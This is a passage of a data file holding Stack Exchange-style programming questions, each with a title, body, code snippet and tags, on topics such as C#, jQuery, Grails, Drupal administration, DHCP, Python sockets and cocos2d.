enabled picture is taken at a certain location\nWhat all metadata is added to the
picture ? Or rather based on other information within the phone (its location,
time, surroundings (nearest city ?)) what more information can be added ?\n", "",
"android iphone geolocation metadata geotagging"], "940062": ["c# empty optional
parameters", "For example:\n\nTherefore:\n\nThease things work well with nullable
'type?' as well. However it would be nice to do able to do this.\n\nTo
mean \"everything is default except -> has 4 doors and is multi-story\". Removing
the one word \"true\" is only a little thing but is it possible to simulate this?\
n", "void building(int doors, bool multi_story) {...}\nor\nvoid building(int doors
= 1, bool multi_story = false) {...}\n", "c# types polymorphism nullable optional-
parameters"], "3600073": ["Querying GORM association", "I want to build very simple
help desk application in purpose of learning grails. I want user to be able to
login, create request/incident. \nUser select productline, topic for that
productline and subtopic for that topic. Every subtopic has one or many support
users that are responsible for it. \nOn the other side, support user can see list
of the incidents that fall in his 'jurisdiction'. My domain classess look something
like this:\n\n}\nclass Subtopic {\n\n}\n\n}\n\n}\n\n}\nIn my RequestController I
have supportList() action. After successfull
login users with role ROLE_SUPPORT are send to this action wich should filter data
so the only request instances sent to view are the ones that the currently logged
in user is responsible for. This is the action:\n\nI'm getting empty table.
Actually, I'm getting expected number of rows but all fields are empty. What am I
doing wrong? \nThis is my GSP:\n\n", "class Request{ \n\n\nDate dateCreated\
nString subject\nString startedBy \nString description\nString status\nString
priority \nProductline productline\nTopic topic\nSubtopic subtopic\n\n\nstatic
constraints = {\n //id unique: true\n dateCreated(blank:true,nullable:true)\n
subject()\n description(maxSize:5000)\n status (blank:true,nullable:true)\n
priority(inList:[\"Normalan\",\"Hitno\",\"Nije hitno\"])\n
productline(blank:true,nullable:true)\n topic(blank:true,nullable:true)\n
subtopic(blank:true,nullable:true)\n company(blank:true,nullable:true)\n
contact(blank:true,nullable:true)\n startedBy(blank:true,nullable:true)\n
acceptedBy(blank:true,nullable:true)\n}\n", "grails gorm helpdesk"], "5608635":
["how to obtain an value from the picker list and perform calculation?", "I need to
create two Dropdown Lists (picker view) and retrive the values selected by the user
in the two drop down list and perform calculations on them ?\nIs it possible to
create an dropdown list in Xcode ?\n", "", "iphone ios xcode4.2"], "2184643":
["Chrome Extensions: nested folders", "If use this code:\n\nto get nested folders
they are created but they behave not as normal folders. \nFirst of all i don't get
the little triangle in front of the root folder and if i'm in a subfolder by double
clicking and then go back (with browswer arrow) i get to the folder the root folder
is contained and not as it should in the root folder.\nAny ideas what's wrong with
that or is this a bug?\nThanks in advance,\ndrakon\n//EDIT\nIf i set a breakpoint
for the chrome.bookmarks.create line it works as expected. I'm really confused..\
n//EDIT\nSeems to be a bug of chrome -> press F5 lets the entrys appear.\n",
"chrome.bookmarks.getTree(function(addNode)\n{\n var rootNodeId =
addNode[0].children[1].id;\n chrome.bookmarks.create({parentId:rootNodeId,
title:'root'}, function(node)\n {\n
chrome.bookmarks.create({parentId:node.id, title:'child1'});\n
chrome.bookmarks.create({parentId:node.id, title:'child2'});\n });\n});\n",
"javascript google-chrome-extension"], "687601": ["Could not find element inside
Datalist by ID with JQuery", "Below is a rendered Datalist. It seems that $
('#ctl00_ContentPlaceHolder1_ShowListing_DataList1$3$0$enquire').click(function() {
... } does not work because when I click on one of the buttons (on the DataList)
which are meant to trigger this function, nothing happens.\nHow do I use JQuery to
find the buttons by ID? So basically the function should be triggered if any of
those buttons on DataList is clicked.\nThank you.\n\n", " <table
id=\"ctl00_ContentPlaceHolder1_ShowListing_DataList1\"
class=\"DataWebControlStyle\"\n style=\"visibility: visible;\">\n
<tbody>\n <tr>\n <td class=\"RowStyle\">\n
<div class=\"ListItemContainer\">\n <div
class=\"EnquireButton\">\n <a class=\"activator\"
id=\"ctl00_ContentPlaceHolder1_ShowListing_DataList1$3$1$enquire\">\n
</a>\n </div>\n </div>\n
</td>\n </tr>\n <tr>\n <td
class=\"RowStyle\">\n <div class=\"ListItemContainer\">\n
<div class=\"EnquireButton\">\n <a class=\"activator\"
id=\"ctl00_ContentPlaceHolder1_ShowListing_DataList1$3$1$enquire\">\n
</a>\n </div>\n </div>\n
</td>\n </tr>\n </tbody>\n </table>\n\n <script
type=\"text/javascript\">\n $(function() {\n $
('#ctl00_ContentPlaceHolder1_ShowListing_DataList1$3$0$enquire').click(function()
{\n $('#enquireOverlay').fadeIn('fast', function() {\n
$('#box').animate({ 'top': '160px' }, 500);\n });\n });\n
$('#boxclose').click(function() {\n $('#box').animate({ 'top': '-
200px' }, 500, function() {\n $
('#enquireOverlay').fadeOut('fast');\n });\n });\n
});\n </script>\n", "jquery triggers jquery-selectors datalist"], "1707276":
["Not add all components when displaying an error in WICKET", "I have a page that
takes a single argument. If this argument is NOT passed, then I would like to
display an error message (\"please pass argument 'blah\") which will be shown in a
FeedBackPanel and bail out. However, if I do not attach all the components, then
wicket has an error instead, redirecting the client to Wicket's error page.\nIs
there any way to display an error messages and NOT add all the items to a page?
Some of the items are ListViews, etc...\n", "", "components wicket"], "41019": ["Is
string \"1a\" an error for lexical analyser or not?", "I am making a basic lexical
analyser in for my semester project and I am at conflict on a concept with my
subject teacher. \nMy view is that in general if an input like \"1a\" is given to
lexical analyser then it should give output as: \n \nBut, my teacher says that it
should flag this as an error because instead of treating it as a number and a
identifier it should flag the whole string(i.e. \"1a\") as an error.This is
because(as he says) identifiers cannot start with a number.\nOn the contrary I
think this should be the responsibility of next stage of compiler(syntax analyser)
to decide if something is a valid identifier or not. I know he is right about
identifiers not starting with a number but I need closure on the part that the
lexical analyser should be the one deciding that.\nI will really appreciate your
help. Thank you\n", "Java", "java programming-languages lexical-analysis"],
"2720855": ["equivalent definition of normal subgroup", "Let $G$ be a group and $N$
a subgroup of $G$. I read that the following two definitions are equivalent:\n1)
$\\forall g\\in G$, $gNg^{-1}=N$\n2)$\\forall g\\in G$, $gNg^{-1}\\subset N$\ndoes
this mean that we have always $N\\subset gNg^{-1}$ ? my guess is no because take
$n\\in N$ then if $n=gn'g^{-1}$ then $n'=g^{-1}ng$ and there is no reason that
$g^{-1}ng\\in N$\n", "", "group-theory"], "4062118": ["Multi-homed machine with
DHCP on isolated network", "I'm trying to use DHCP to configure several machines
with two NICs. Each machine is multi-homed through one NIC to a network containing
the DHCP server. The second NIC is connected to an isolated network. The two
network cannot be connected. I would prefer to not use bridging on any machine in
the cluster.\nWhat software and configurations (e.g. iptables) can I use to achieve
this? I've read about 'dhcrelay', but this appears to be fairly out of date tool.\
nTarget distribution: Ubuntu 9.10\nThe topology:\n--------\nNetwork A: contains
DHCP server\nNetwork B: only connects nodes in the cluster\nThanks!\n", "", "dhcp
multihomed dual-nic"], "5374914": ["How do I take control of a Drupal installation
on my web space without the admin credentials?", "Someone set up a website for me
recently, using Drupal, and before I could get his admin credentials, I lost
contact with him. Seeing as it's my web space, I do have access to the files and
the database (which I have downloaded), however I can't get into the Drupal
configuration.\nIs there any way I can take over this Drupal installation or do I
have to do a reinstall?\n", "", "administration drupal"], "2778480": ["Disable
preview thumbnails during Alt+Tab switching in Windows Vista / 7", "\nPossible
Duplicate:\nDisable or delay alt-tab Aero Peek effect in Windows 7 \n\nI'm running
Win7 on a laptop without aero and I much prefer the traditional Alt+Tab switcher
where you just see the program icons and the Window title. The thumbnails in
Vista / 7 are quite useless and look horrible - can I turn them off? \n", "",
"windows-7 windows-vista"], "5800899": ["Phonegap CordovaLib Sementic error", "I am
using Phonegap 2.4.0 for iOS. when i create a cordova project and run it in iPad5.1
simulator i got this error\n\nsemantic issue expected method to read dictionary
element not found on\n object of type 'Nsdictionary *'\n\ni following this
tutorial guide_getting-started_ios\nand i don't know where i made mistake. \n",
"", "ios phonegap mobile iphone-sdk-4.0 cordova"], "5529759": ["Problem with nVidia
FX Composer 2.51 - no objects in Render window", "I have problem with nVidia FX
Composer 2.5 (2.51.0827.1525).\nI can't see any objects in Render window, so I
can't view my shader result.\nI can select object, but object is transparent or not
rendered.\nThis is happens also when I load existing sample projects.\nI test it at
two diffrent computers and systems (XP, Vista).\n", "", "xna shader fxcomposer"],
"3646970": ["Testing TryUpdateModel() with MStest and moq", "Im currently trying to
test an insert method which uses TryUpdateModel(). I am faking the
controllercontext which is needed and although that works it does not seem to be
posting the model I have setup.\nHere is the method I am testing:\n\nAnd here is my
current test:\n\nThe method is being called but when it gets to TryUpdateModel() it
seems it cannot pickup the posted object. Any pointers on where I am going wrong
would be great.\n", " [AcceptVerbs(HttpVerbs.Post)]\n [GridAction]\n public
ActionResult _SaveAjaxEditing(int? id)\n {\n if (id == null)\n {\n
Product product = new Product();\n if (TryUpdateModel(product))\n
{\n //The model is valid - insert the product.\n
productsRepository.Insert(product);// AddToProducts(product);\n }\n
}\n else\n {\n var recordToUpdate =
productsRepository.Products.First(m => m.ProductID == id);\n
TryUpdateModel(recordToUpdate);\n }\n productsRepository.Save();\n
return View(new GridModel(productsRepository.Products.ToList()));\n }\n",
"c# .net mvc moq mstest"], "2433295": ["IE9 hover bug - Hover state stays after
moving a row", "This is obviously a much cut down down version of the actual
application, however the bug is still the same...\nWe have a table with rows that
can be moved up/down with controls in the row, and to signify this the move
controls have a hover state. In the following jsbin http://jsbin.com/asasak/1 in
IE9 you'll see that the hover state stays after the row has been moved.\nAny ideas?
I've even tried changing the row's class when it is moved and then removing the
class but the hover state still stays!\n", "", "javascript jquery html css
internet-explorer-9"], "2428561": ["Recursively defined systems are always
consistent?", "I was reading something which contained the following statement:\n\
nIt is a well-established mathematical result that theories consisting only of
recursive definitions... are inherently consistent.\n\nDoes this result have a
name? Could anyone point me to literature about this?\n", "", "logic proof-
theory"], "3088833": ["Cookie support for SharePoint on mobiles", "How does mobile
browsers deal with cookies?\nI'm optimizing a customer's network site to work on
mobile devices, and they would like to avoid getting prompted for logins every time
they visit the site on their mobile devices (smartphones, tablets, ipads etc). So I
was just wondering if SharePoint cookies are supported on mobile browsers and how
to manage them properly.\nI haven't succeeded in finding anything related to this
on Google nor Bing.\n", "", "2010 browser-compatibility mobile public-website"],
"4433202": ["Javascript SetTimeOut function Does Not Work Somehow", "Hi everybody
this is my first question to stackoverflow so if i do something wrong i am really
sorry.\nMy system fatches data every 500 ms and my screen is full of html tables
apart from each other . And every cell has unique key attribute. I am caching all
of them anyway.\nI have a global javascript object(_cellColorTimeouts) which
contains settimeout functions for cellElements of tableRows that i mentioned above.
After caching of cells, system creates timeout functions which is to wipe css out
for spesific cell (in 3000ms).\nIn code block below uiElementKey_X and
uiElementKey_Y are exact same but cached like are different. Adding unique suffix
into table id makes them different. This proccess is done for row and cell items
aswell.\nexample of _cellColorTimeouts data is\n\nSo the problem is settimeout
function is not working for the first table but second is totally fine. I have
checked is there any settimeout function return id from global, yes it has. For the
first table somehow it does not work. I know this question is too unique for my
case but any idea will be preciated?\n---- EDIT ---- FULL FUNCTION UNCUT VERSION
-----\n\n}\n", "//array object keys are names of unique cell items.\
n_cellColorTimeouts = [uiElementKey_X_1, uiElementKey_X_2, uiElementKey_X_3,\n
uiElementKey_Y_1, uiElementKey_X_2, uiElementKey_Y_3];\n\n. \n. //does somethings
to change cell colour\n.\n\n //after 3 seconds i need to clear css of this cell
without looping the dom so i do it via cached dom.\n if
(_cellColorTimeouts.hasOwnProperty(uiElementKey) &&
_cellColorTimeouts[uiElementKey] != null) {\n
clearTimeout(_cellColorTimeouts[uiElementKey]);\n
_cellColorTimeouts[uiElementKey] = null;\n }\n
_cellColorTimeouts[uiElementKey] = setTimeout(function () {\n
clearColourOfCell(cell);\n }, 3000);\n}\n\nfunction clearColourOfCell(cell)
{\n cell.style.backgroundColor = cell.rowBGColour;\n cell.style.color
= \"black\";\n _cellColorTimeouts[cell.uiElementKey] == null;\n
clearTimeout(_cellColorTimeouts[cell.uiElementKey]);\n}\n", "javascript
settimeout"], "4214932": ["ASP.NET: Creating and using a subfolder of bin", "I am
creating some plugin dlls that validate my website's configuation at startup. I
want to place these dlls in a subdirectory of the /bin folder. So I added this to
my web.config file:\n\nAnd then I have a project that builds and deploys some dlls
into the /bin/plugins directory.\nI have verified that the build step is correct
and creates the subfolder and puts the dlls in there.\nThen on application_start, I
try to load the assemblies. I get the currently executing assemblies path like
so:\n\npluginDirectory usually is set to something like this:\n\nBut in that
directory, there is no plugins directory.\nHow do I get IIS (IIS 6.0 in my case) to
copy the subfolder and contents from my code directory to the execution location?\
nIf the VB.NET is too difficult to read, I am happy to translate to C#.\n",
"<runtime>\n <assemblyBinding appliesTo=\"v2.0.50727\" xmlns=\"urn:schemas-
microsoft-com:asm.v1\">\n <probing privatePath=\"bin;bin/plugins\" />\
n ...\n</runtime>\n", "asp.net plugins web-config"], "5000001": ["db2 sql
pattern matching", "I have a table in db2 which has the following fields\n\nint
xyz;\nstring myId;\nstring myName;\n\nExample dataset\n\nI want to extract the rows
where myName matches the character upto \".\" in the myId field. So from the above
3 rows, I want the firs 2 rows since myName is present in myId before \".\"\nHow
can I do this in the query, can I do some kind of pattern matching inside the
query? \n", "xyz | myid | myname\n--------------------------------\n1
| ABC.123.456 | ABC\n2 | PRQS.12.34 | PQRS\n3 | ZZZ.3.2.2 | blah\n",
"sql db2"], "872975": ["how can i tell whats takign up all my hard drive space?",
"\nPossible Duplicate:\nBest program to visualize file system usage on Windows? \n\
ndoes anyone know a free software that will graph the directories on my hard drive
and sort them in order of largest size?\nor provide me a solution for me to quickly
determine what drives/ files are consuming my hard drive space?\n", "", "hard-drive
disk-space"], "60839": ["Notification system in ubuntu 9.10", "I am running ubuntu
9.10. Can you please tell me if there is a notification system in ubuntu 9.10?
(like the screen cast below), and if yes, how can I enable
it?\nhttp://www.markshuttleworth.com/archives/253\n", "", "ubuntu notifications"],
"2832141": ["Non Blocking & Multithreading - Socksipy & Socks", "i need to check my
Proxies vs a specific server, port. I just use SocksiPy as a Proxy wrapper for
Socks. Well it works, but its damn slow :/\nI guess its because i don't use non-
blocking Sockets. I tried .setblocking(0) but then all my checks \"FAIL\" in an
instant.\n\nThanks for your help, Cheers :)\n", "#! /usr/bin/python\nimport time,
Queue, threading, socks\n\nt = time.time()\nqueue = Queue.Queue()\n\nclass
ThreadUrl(threading.Thread):\n def __init__(self, queue):\n
threading.Thread.__init__(self)\n self.queue = queue\n def run(self):\n
while True:\n host = self.queue.get()\n id = host[0]\n
ip = host[1]\n port = host[2]\n type = host[3]\n
retry = host[4]\n\n try:\n s = socks.socksocket()\n
s.settimeout(10)\n #s.setblocking(0) <- i tried this but well, when
i use this all my proxy checks end up instant with FAIL :/\n if(type
== 'HTTP' or type == 'HTTPS'):\n
s.setproxy(socks.PROXY_TYPE_HTTP, ip, int(port))\n else:\n
#because i dont know if the socks i have is for socks 4 or 5 i have to use this\n
if(retry == 1):\n s.setproxy(socks.PROXY_TYPE_SOCKS5, ip,
int(port))\n else:\n
s.setproxy(socks.PROXY_TYPE_SOCKS4, ip, int(port))\n
s.connect(('127.0.0.1', 1337))\n s.send('\\r\\n')\n
data = s.recv(10)\n s.close()\n if( len(data) > 0 ):\
n print \"GOOD PROXY: %s TYPE: %s\" % (id, type)\n
except:\n if(retry == 1):\n print \"SOCKS5 BAD:
%s TYPE: %s\" % (id, type)\n elif(retry == 0 and type == 'Socks
4/5'):\n print \"SOCKS4 BAD: %s TYPE: %s\" % (id, type)\n
#because i dont know if the socks i have is for socks 4 or 5 i have to use this and
requeue the proxy with the retry indicator set to 1 (socks5 testing)\n
queue.put([id, ip, port, type, 1])\n else:\n
print \"HTTP/S BAD: %s TYPE: %s\" % (id, type)\n\n
self.queue.task_done()\n\n\ndef main():\n\n proxies = ((id,ip,port,type),(...))\
n\n for i in range(4):\n t = ThreadUrl(queue)\n t.setDaemon(True)\
n t.start()\n\n for item in proxies:\n
queue.put([item['proxy_id'], item['proxy_ip'], item['proxy_port'],
item['proxy_type'], 0])\n\n queue.join()\n\nmain()\nprint \"Established Time:
%.2f\" % (time.time()-t)\n", "python multithreading socks"], "2794645": ["variable
not collecting data from field", "The code below works ok until the
line \"document.forms[0]._area.value = dbasedata;\" it will only copy the data if
the data in that field has been changed AFTER loading the form. If it is changed to
anything (even back to the original value) it will work. Anyone know why?\n\nEDIT I
think it may have something to do with it being a dropdown field?\n", "function
dbasetype()
{\n var dbasedata = document.forms[0]._dbase_name.value;\n dbasedata2 =
dbasedata.toUpperCase().replace(/\\s/g, \"\");\n\n\n
if(dbasedata2.indexOf(\"UK_CONTACTS\")<0) {\n document.forms[0]._area.value =
dbasedata; \n } else { setarea(); } \n}\n", "javascript"], "2442179":
["Design Pattern for building an object from a more complex object", "I'm in the
middle of refactoring some code on my current project, and I'd like some input on
if any design pattern exists for the following scenario.\nI have a class which
executes some logic and returns an object containing the results of said logic;
Let's call this the Result object. The state information contained in the Result
object is constructed based on a more complex object, the Intermediary object. \
nNow the code which populates the Result object from the Intermediary object
already exists, but since I'm refactoring I want to make this cleaner. I was
thinking of creating a separate class, maybe called ResultBuilder, which has a
static execute method which takes Intermediary as input and spits out Result as
output.\nIs there a design pattern which is equivalent to the \"ResultBuilder\"
class? Is there a better way of going about constructing a Result object from an
Intermediary object?\n", "", "java design-patterns refactoring"], "2452131":
["jQuery UI elements too large", "Here's the page in question:
http://bit.ly/m5cyjx\nThere's hardly any code or styling. It seems that the jQuery
UI elements (in this case - select menu & button) are much too large. By default
they should be quite small, not much higher than the max height of this sentence.\
nI've taken the jQuery UI CSS straight from their website, and I have similarly
taken the jQuery select menu CSS from that project creator's website. Even with the
default code, there is no change in the problem.\nAny help?\nEdit Also, there are
no arrows on the right of the select menu, as there should be by default. Take a
look at the project page:
http://www.filamentgroup.com/lab/jquery_ui_selectmenu_an_aria_accessible_plugin_for
_styling_a_html_select/\n", "", "jquery css jquery-ui"], "5172787": ["CSS Border
radius not trimming image on Webkit", "I'm having trouble figuring out why border-
radius is gone from my #screen element when using chrome but not firefox or ie9?\nI
have all the different prefixes for each browser plus the standard border-radius:\
nwww.cenquizqui.com\nThe upper content box that holds the pictures, called #screen\
na copy paste of screen's css:\n\nIs it because chrome does not handle the
'trimming' of the images properly? I thought it was only a problem when you had the
actual tags inside the rounded corner container, not when the img is called as
background-image through css.\nRegards\nG.Campos\n", "#screen {background: none
repeat scroll 0 0 #EEEEEE;\n display: block;\n height: 300px;\n position:
relative;\n width: 960px;\n overflow:hidden;\n -moz-border-radius:10px;\n
-webkit-border-radius:10px;\n -o-border-radius:10px;\n border-radius:10px;}\
n", "css google-chrome css3 webkit border-radius"], "5001067": ["How to
create/customize a web download installer like flash using nsis?", "I want to
create a web download installer using NSIS. I captured the following screenshots
from installing flash, which is exactly what I want to create my own installer,
which also downloading some files and then execute.\n\n\n\nI've tried NSIS modern
UI and also the nsDialogs, but I find it is difficult for me to customize the pages
looking like above. The issues I get here are,\n\nHow to resize the pages? I don't
find a way to change the page size at will.\nHow to change the whole background to
a color I want?\nHow to remove all the default buttons (back/next/cancel), but
still need the top right close button work? I find if I hide the next or complete
button, the close button will also be disabled.\nHow to customize the progress bar
to indicate a reasonable progress on downloading and installing?\nWhen install is
ongoing, click the top right close button, how to show the warning message in
current page instead of pop up a dialog?\n\nAs a NSIS beginner, I really appreciate
your helps/suggestions/guidence.\nThanks in advance,\n", "", "flash installer
nsis"], "4433201": ["Hover over point on Point Chart in Asp.Net", "I'm creating a
website with ASP.NET and i'm using the stock Chart control to map some data points
onto a scatter plot. What I would like is to have the ability to hover over a
point and reveal a small usercontrol with some information about that datapoint.
Is this possible or should I look outside of the MS Controls for a solution?\n",
"", "asp.net charts hover"], "3524263": ["sending images into the divs randomly",
"I have a html5 project and i also use jquery. This project is a sorting game. I
want to make a shuffle for these images. For example i have 3 cards, when i start
the game, i have the cards this order 1-2-3. When i achieved to sort this order
then i want to make order for example 2-3-1. Is there any solution to make this ?\
n\nThis is an example, i want to send images into these divs and i also make the
div id according to this images number.\n", "<div id=\"source1\"
class=\"block\">1</div> \n<div id=\"source2\" class=\"block\">2</div>\n<div
id=\"source3\" class=\"block\">3</div>\n<br>\n<div id=\"dest1\"
class=\"dest\">1</div>\n<div id=\"dest2\" class=\"dest\">2</div>\n<div id=\"dest3\"
class=\"dest\">3</div>\n", "jquery html jquery-ui jquery-plugins"], "33082":
["D3D11: Increase in buffer size memory allocation reduces frame rate", "I'm
writing a D3D11 shader that requires writing a large amount of data to a buffer. As
I increase the size of memory allocated for the buffer, the frame rate drops
significantly, even though the number of writes do not increase and the geometry
rendered and shader code remain exactly the same. I'm using a D3D11_QUERY_EVENT to
measure the frame rate by calling ID3D11Device::CreateQuery before the call to
ID3D11DeviceContext::DrawIndexed and then immediately calling
ID3D11DeviceContext::End. I then have the cpu run in a while loop until the query
is no longer S_FALSE. Is this the correct way to measure how much time a draw call
requires to finish? Or is it somehow capturing the time it takes to allocate the
memory as well? If the timer isn't wrong, then what is causing the reduction in
performance? I'm using structured buffers created with D3D11_USAGE_DEFAULT and no
CPU access. I have a UAV to these buffers. \n", "", "memory buffer frame directx-11
rate"], "2765045": ["Python socket command", "\nPossible Duplicate:\nHow do you
send a HEAD HTTP request in Python? \n\nMy problem is -I need to verify if an Url
is valid using python socket-http header request. I have my host address and then
url path such as \n\nserver: docs.python.org\nPath :/2/library/socket.html\n\ncould
you please tell me if there is any head command like or that I could use to
verify the url path.Thanks in advance.\n", "Socket.send", "python sockets"],
"3439609": ["How do you trigger a blur/focusout event on an input text box using
jquery?", "I'm using 1.7.2 in which I understand this should work:\n\nThe input box
is appended, grabs focus and then the javascript console tells me:\n\nI'd be
grateful if anyone knows how I can catch the blur/focusout event.\n", "// cell is a
jquery representation of a <td> element\ncell.append($(\"<input/>\",
{ \"type\": \"text\" }).val(content)); \ncell.children()[0].focus();\
ncell.children()[0].on(\"blur\", function() {\n alert(\"blur\");\n}\n", "jquery
events blur focusout"], "697343": ["'Publish' missing in SharePoint Designer 2010",
"When I try to publish a new master page in SharePoint Designer 2010, the publish
options are missing.\n\nAlso, I can't do anything from the Master Page gallery
within SharePoint as the needed options are greyed out:\n\nTroubleshooting thus
far:\n\nIn central Administration | SharePoint Designer Settings | All services are
enabled\nSite Actions | Site Settings | Site Collection Administration | SharePoint
Designer Settings | All services are enabled\nI am Site Collection Administrator\
nSharePoint Server Publishing and SharePoint Server Standard site features are
active\nIn Library settings | Versioning settings, 'require content approval for
submitted items' and 'create a version each time you edit an item' are both turned
on \n\nAny suggestions as to what else to check?\nThank you!\n", "", "sharepoint-
designer master-page branding"], "5805353": ["Custom Scroll view in cocos2d without
using uikit", "I currently need to create a custom scroll view without using
UIKit's scrollview in cocos2d.\nThe best way, I think, is to create a separate
layer and then add all my sprites to that layer. But I'm not sure how to receive
touch events for all of the sprites. Is there a best way to do this? Thanks!\n",
"", "ios cocos2d-iphone scrollview"], "2456905": ["Subclass FileField in Django
REST Framework", "I have a django model that takes an audio file:\n\nwhere the is
a subclass of that performs some validation:\n\nand the callback sets the path
and renames the file:\n\nIn Django REST framework the works fine, but the
subclassed doesn't. This is because the subclass doesn't accept the keyword
argument .\nHow can I expose the same functionality through the API? The callback
is particularly important to me.\n", "class Thing(models.Model):\n\n audio_file
= AudioFileField( upload_to=audio_dir, blank=True, null=True )\n photo_file =
models.ImageField( upload_to=img_dir, blank=True, null=True )\n ...\n",
"django api django-rest-framework"], "1500679": ["Real time log analysis Scala or
Java solutions", "I'm looking for real time log analysis library or framework in
Java/Scala.\nSome suggestions? \nThanks a lot.\n", "", "java scala logging real-
time analysis"], "3930429": ["C#
combine bitmaps fast for UI", "Basically I'm making an animated UI from scratch.
Everything on the UI is derived from a ScreenThing base class which can store a
bitmap used to draw that thing, as well as its position. When I want to draw the
UI I create a new blank Bitmap of the right size, create a Graphics object from
that bitmap, then pass that Graphics object to all of the ScreenThings Draw()
method to draw themselves. When that's done, I print the bitmap to the screen with
a PictureBox control.\nThis all works great, but it's too slow. I want this to
happen at least 30 times per second so the animation is smooth, but it's taking
more than 33 milliseconds for all of this to happen. I've seen that the reason for
this slowness is the locking and unlocking of the bitmap memory. I've tried some
code I found online that unlocks the bitmaps and makes a new GetPixel and SetPixel
function and tried combining the images pixel by pixel like below, but this took
even longer. (code below was just a test, it doesn't place the image in the right
place)\n\nSo what's the best way to do this? Is it possible to use C# to draw a
pretty big image (like 1024x768) in real time like this? If all else fails, I guess
I could figure out a way to only draw the parts that have changed, but I'd love to
avoid doing that if a brute force redraw of everything is possible. Thanks a
lot! \n", "for (int i = 0; i < images.Count; i++)\n{\n FastBitmap foreground =
new FastBitmap(images[i]);\n foreground.LockImage();\n\n for (int x = 0; x <
images[0].Width; x++)\n {\n for (int y = 0; y < images[0].Height; y++)\n
{\n output.SetPixel(x, y, foreground.GetPixel(x, y));\n }\n }\
n\n foreground.UnlockImage();\n}\n", "c# performance image user-interface"],
"3506246": ["Include another pdf in a box (and other details)", "Some time ago I
read a paper that was tightly based on another one. It was from the same authors so
they included the previous papers as appendixes. I noticed (and liked) that these
appendixes were enclosed in a box.\nIn my case, I am writing a technical report
(report-a) that should include another report (report-b) in its appendix. Both of
the are generated by LaTeX.\nThe result that I am looking for is that report-b
appears in the final section of the report-a, inside a box. So far, I can include
it with the package. I have also managed to include it in a box with :\n\nI have
the following problems with this:\n\nPage numbering is confusing: from the
command, page numbering follows the numbering of report-b\nI would prefer if
report-b was scaled down a little bit. I could not find how to do this with \nThe
report-b is included in the page after the section title, which wastes a whole
page. I would prefer if it would start right after the section title.\n\nAny ideas
of how to achieve this?\nPS: I am not really sure how to tag this question.\n",
"pdfpages", "boxes appendices scaling pdfpages"], "2462543": ["Parsing error from
string to JSONArray in Android Application", "I want to receive from an MySQL-
Server all my data from a table.\nSo, I wrote a PHP script that fetches the
complete table and encode it to JSON format.\nPHP-Code:\n\nSo, when I run the
script, all the JSON String looks fine, no corupted characters etc.\nIn Android
App:\nWhen I run the following codes and receive the JSON String throught the HTTP,
I get a strange String in the Debugger...\nScreenshot: http://goo.gl/gTssQ\nJava
Code:\n\n\nI cant understand the Problem, because my Database is full UTF-8 and my
script too.\nI hope someone can help me! :-)\nGreets, andr3w\n", "<?php\ninclude
(\"connect.php\"); \n\nmysql_query(\"SET NAMES 'utf8'\");\n\n$query =
mysql_query('SELECT * FROM MyTable);\n\nwhile ($row = mysql_fetch_assoc($query))\
n{\n$buffer[] = $row;\n}\n\nprint json_encode( $buffer );\
nmysql_close($dbconnect);\n?>\n", "java php android mysql json"], "5996355":
["redirecting to some other page", "I have a web application having three pages,
one is login page, second is contact page, and third is chat page. The natural
sequence to traverse is one to second and from second to third.\nLogin (using our
web service) is required to open second and third page. Now we have a requirement
that we want to open third page directly from a third party application.\nSo,
suppose if third page is requested from browser and on the same browser login
(using first page) has been made. Then we need to directly show the third page
otherwise show the user first page i.e. login page.\nThe requirement is similar as
required facebook page can be opened by clicking an link from gmail page, if
facebook user has done login, he can see the desired page directly.\nPlease help.\
nRegards\n", "", "javascript jsp web"], "3114239": ["JDK Documentation searchable
offline?", "Can anyone help?\ni have downloaded the jdk docs (7) to my pc and i can
open it up to look at all the packages and classes in the html but it appears i
can't search.\nYou can on the online version but it appears not on the offline
version, or maybe i am missing something.\ncan anyone help or suggest an
alternative ?\nthanks\n", "", "java documentation javadoc jdk"], "58226": ["How can
we set time delay in animation of images to make them appear smooth?", "I have 10
CCSprite images. They are continues images. I am using, \n\nBut the animation is
not continues. I have changed the animation delay time. but, I can see only three
images appearing. How can we know how much time interval should we keep in
animation. \nIs there any relationship between this and the frame rate \n\
nThank you.\n", " CCSprite *playerH = [CCSprite
spriteWithFile:@\"Player_01.png\" ];\n playerH.position =
ccp(playerH.contentSize.width/2, windowSize.height/2);\n [self addChild:playerH
z:1];\nCCAnimation* animation = [CCAnimation animationWithName:@\"dance\"
delay:0.20f];\nfor( int i = 1; i < 11; i++ )\n {\n [animation
addFrameWithFilename: [NSString stringWithFormat:@\"Player_%02d.png\", i]];\n\n }\n
NSLog(@\"k VALUE: k: %d\",k);\n id actionA = [CCAnimate actionWithAnimation:
animation restoreOriginalFrame:NO];\n id actionD = [CCDelayTime
actionWithDuration:5.0f];\n id actionC = [CCCallFunc actionWithTarget:self
selector:@selector(enemyEntranceScreen:)];\n id seqActionPlayer = [CCSequence
actions:actionA, actionD, actionC, nil];\n\n[playerH runAction:
seqActionPlayer]; \n", "iphone cocoa-touch animation cocos2d-iphone"], "3153606":
["About ANSI C++ 2003 standard", "I would like to ask for your help. I searched a
lot on Internet, but I found mismatched informations.\nMy questions:\n\nI tried to
buy the \"ISO/IEC 14882:2003(E) Programming Languages - C++\" standard on the
ansi.org, but i have not found it. However, I found this standard on nssn.org:\n\
nwww.nssn.org/search/DetailResults.aspx?docid=338353&selnode=\nBut unfortunately
this standard has been deleted or replaced with an another one.\
nwebstore.ansi.org/RecordDetail.aspx?sku=INCITS/ISO/IEC%2014882-2003\nOn the
iso.org, it's also the same situation:\nwww.iso.org/iso/catalogue_detail.htm?
csnumber=38110\nYes, I know that the actual standard is C++11, but I'm need the C+
+03 standard. From another sources, I heard that, the C++03 standard has become an
open standard, so I can download it from the Internet for free, THE FULL, OFFICIAL
standard, for example:\ncode.google.com/p/openassist/downloads/detail?name=C%2B%2B
%20Standard%20-%20ANSI%20ISO%20IEC%2014882%202003.pdf\ncs.nyu.edu/courses/
spring13/CSCI-GA.2110-001/downloads/\nIs this true? \nAnd it's the full, official
C++03 standard, not just a draft?\n\nIs that true, the C99 (C programming language,
1999) has also become an open standard? If yes, this is the full C99 standard?:
cs.nyu.edu/courses/spring13/CSCI-GA.2110-001/downloads/C99.pdf\n\n", "", "c++ c
standards ansi"], "3449878": ["How to configure the Dynamics CRM 2011 Outlook
Client", "i have some problems configuring the outlook client for dynamics crm
